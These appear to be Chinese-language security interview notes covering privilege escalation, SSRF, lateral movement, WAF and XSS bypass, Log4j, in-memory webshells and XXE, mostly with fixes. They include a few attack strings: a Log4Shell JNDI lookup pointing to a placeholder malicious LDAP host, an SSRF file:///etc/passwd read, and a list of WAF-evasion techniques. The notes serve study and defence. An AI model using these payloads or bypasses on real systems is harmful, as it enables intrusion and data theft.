文章目录
简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方
水平越权:
用户能够访问或操作其他同级用户的资源或数据。
垂直越权:
低权限用户能够访问或操作高权限用户的功能或资源。
水平越权漏洞的审计重点
- 检查涉及用户数据的接口(如/user/profile?id=123),确保当前用户只能访问自己的数据。
- 查找是否直接使用用户提供的参数(如用户ID)查询数据库,而未验证其权限。
垂直越权漏洞的审计重点
- 检查涉及管理员功能的接口(如/admin/delete_user),确保只有管理员可以访问。
- 查找是否缺少对用户角色的验证。
解释一下ssrf
漏洞原理
攻击者通过构造恶意URL,让服务器访问内部系统(如数据库、管理后台)或外部资源,从而获取敏感信息或执行恶意操作。
攻击场景
- 访问内部服务:
攻击者让服务器访问内网服务(如http://127.0.0.1:8080/admin),获取敏感信息。 - 绕过防火墙:内网服务通常对外不可访问,但通过SSRF,攻击者可以绕过防火墙限制。
- 文件读取:利用file://协议读取服务器本地文件(如file:///etc/passwd)。
- 端口扫描:通过SSRF探测内网开放的端口和服务。
修复方法
- 限制协议:
只允许HTTP/HTTPS协议,禁止file://、gopher://等危险协议。 - 白名单校验:
只允许访问特定的域名或IP地址。 - 禁用重定向:
防止攻击者通过重定向访问内部资源。 - 使用DNS解析:
解析URL的域名,确保其指向允许的外部地址,而不是内网IP。
横向移动
在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。通过横向,攻击者最终获得域控制器的访问权限,甚⾄完全控制基于Windows操作系统的整个内⽹环境,控制域环境下的全部机器。
提权
win权限提升
Linux权限提升
include 和 require区别
include会执行多次,导致报错(重复定义变量)。。而include_once不会出现这种情况。
require和include区别在于:若未包含文件,则报错形式不一样。(require包含错误文件,则include后不
再执行;include未包含文件,会警告,但是仍会执行后面的。)
绕waf的常见姿势
- 混淆和编码:Base64 编码
,URL 编码,Unicode 编码,Hex 编码:将 payload 转换为十六进制,双重编码 - 大小写混淆:WAF 的规则可能是大小写敏感的,通过改变 payload 的大小写可以绕过检测。
- 注释符混淆:在 SQL 注入中,使用注释符(如 /* */、–)可以绕过 WAF 的检测。
- 分块传输编码:利用 HTTP 分块传输编码(Chunked Transfer Encoding)绕过 WAF 的检测。
- HTTP 参数污染(HPP):通过重复提交参数,使 WAF 无法正确解析参数值。
- 使用非常规 HTTP 方法:使用 PUT、DELETE、OPTIONS 等方法。
- 利用 WAF 的规则盲区:超长 payload:WAF 可能对超长 payload 的检测不严格。
特殊字符:使用 WAF 未检测的特殊字符。
多语言 payload:使用非 ASCII 字符。 - 时间延迟绕过:在 SQL 注入中,使用时间延迟函数(如 SLEEP())绕过 WAF 的检测。
- 利用 WAF 的缓存机制:WAF 可能缓存某些请求,通过构造特殊请求绕过检测。
log4g
Log4j是Java开发中广泛使用的日志记录框架,攻击者可以通过构造恶意日志消息触发远程代码执行,从而完全控制目标服务器
漏洞原理
Log4j2支持Lookup功能,允许在日志中动态解析变量(如${java:os})。
攻击者可以通过输入类似${jndi:ldap://恶意地址/攻击代码}的字符串,触发Log4j2向远程服务器请求并执行恶意代码。
由于Log4j2的递归解析特性,攻击者无需特殊配置即可利用该漏洞
修复
删除JndiLookup.class文件,禁用JNDI功能
有哪些混淆绕过的方法
- 变量名混淆:将变量名替换为无意义的随机字符串。
- 字符串加密:将字符串加密或编码,运行时解密。
- 控制流混淆:改变代码的执行顺序,增加跳转和条件判断。
- 代码拆分:将代码拆分为多个部分,运行时动态拼接。
文件上传绕过
- 文件类型伪装:修改文件扩展名或MIME类型。
- 文件内容混淆:在文件中插入垃圾数据或修改文件头。
- 多文件上传:通过上传多个文件,利用服务器解析差异绕过检测。
XSS绕过
- 标签混淆:使用非常规的HTML标签或属性。
- 事件混淆:使用不同的事件触发XSS。
- 编码绕过:对XSS代码进行HTML编码或JavaScript编码。
内存马
内存马的核心思想是通过修改目标应用程序的内存数据(如Servlet、Filter、Controller等),动态注入恶意代码,从而在服务器内存中创建一个隐蔽的后门。
常见实现方式:
- Servlet内存马:通过动态注册一个恶意的Servlet,处理特定请求。
- Filter内存马:通过动态注册一个恶意的Filter,拦截所有请求。
- Controller内存马:在Spring等框架中,动态注册一个恶意的Controller。
- Agent内存马:通过Java Agent技术,动态修改类的字节码。
内存马的特点
无文件落地,隐蔽性强,持久化,高权限:
内存马的检测
内存分析,行为监控,流量分析
XXE
XXE漏洞的成因
XXE漏洞的核心问题是XML解析器在处理外部实体时未进行严格限制,导致攻击者可以通过构造恶意XML文档实现以下攻击:
- 读取服务器上的任意文件。
- 发起SSRF(服务器端请求伪造)攻击。
- 执行远程代码(在某些情况下)。
修复XXE漏洞的核心是禁用外部实体解析。